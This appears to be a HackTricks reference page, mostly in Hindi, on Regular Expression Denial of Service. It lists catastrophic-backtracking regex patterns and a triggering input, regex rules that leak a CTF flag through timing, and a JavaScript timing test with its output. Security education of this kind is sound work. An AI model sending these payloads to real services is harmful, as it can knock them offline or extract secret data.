Regular expression Denial of Service - ReDoS

Regular expression Denial of Service - ReDoS

Support HackTricks

Regular Expression Denial of Service (ReDoS)

एक Regular Expression Denial of Service (ReDoS) तब होता है जब कोई नियमित अभिव्यक्तियों (पाठ में पैटर्न खोजने और मेल करने का एक तरीका) में कमजोरियों का लाभ उठाता है। कभी-कभी, जब नियमित अभिव्यक्तियों का उपयोग किया जाता है, तो वे बहुत धीमी हो सकती हैं, विशेष रूप से यदि वे जिस पाठ के साथ काम कर रही हैं वह बड़ा हो जाता है। यह धीमापन इतना बुरा हो सकता है कि यह पाठ के आकार में छोटे-छोटे बढ़ोतरी के साथ तेजी से बढ़ता है। हमलावर इस समस्या का उपयोग करके एक ऐसा प्रोग्राम बना सकते हैं जो नियमित अभिव्यक्तियों का उपयोग करता है और लंबे समय तक सही तरीके से काम करना बंद कर देता है।

The Problematic Regex Naïve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Evil Regexes

एक बुरी नियमित अभिव्यक्ति पैटर्न वह है जो निर्मित इनपुट पर अटक सकता है जिससे DoS होता है। बुरी regex पैटर्न आमतौर पर समूह के साथ पुनरावृत्ति और पुनरावृत्ति या वैकल्पिकता के साथ ओवरलैपिंग के साथ होती हैं। बुरी पैटर्न के कुछ उदाहरण हैं:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} for x > 10

ये सभी इनपुट aaaaaaaaaaaaaaaaaaaaaaaa! के प्रति संवेदनशील हैं।

ReDoS Payloads

String Exfiltration via ReDoS

एक CTF (या बग बाउंटी) में, शायद आप Regex को नियंत्रित करते हैं जिससे संवेदनशील जानकारी (ध्वज) मेल खाती है। फिर, यदि एक Regex मेल खाता है और यदि यह मेल नहीं खाता है तो नहीं तो पृष्ठ को फ्रीज (टाइमआउट या लंबे प्रोसेसिंग समय) करना उपयोगी हो सकता है। इस तरह आप एक-एक करके स्ट्रिंग निकाल सकते हैं:

  • In this post you can find this ReDoS rule: ^(?=<flag>)((.*)*)*salt$

  • Example: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • In this writeup you can find this one:<flag>(((((((.*)*)*)*)*)*)*)!

  • In this writeup he used: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

निम्नलिखित ReDoS उदाहरण हैं जहाँ आप इनपुट और regex दोनों को नियंत्रित करते हैं:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Tools

References

HackTricks का समर्थन करें

Last updated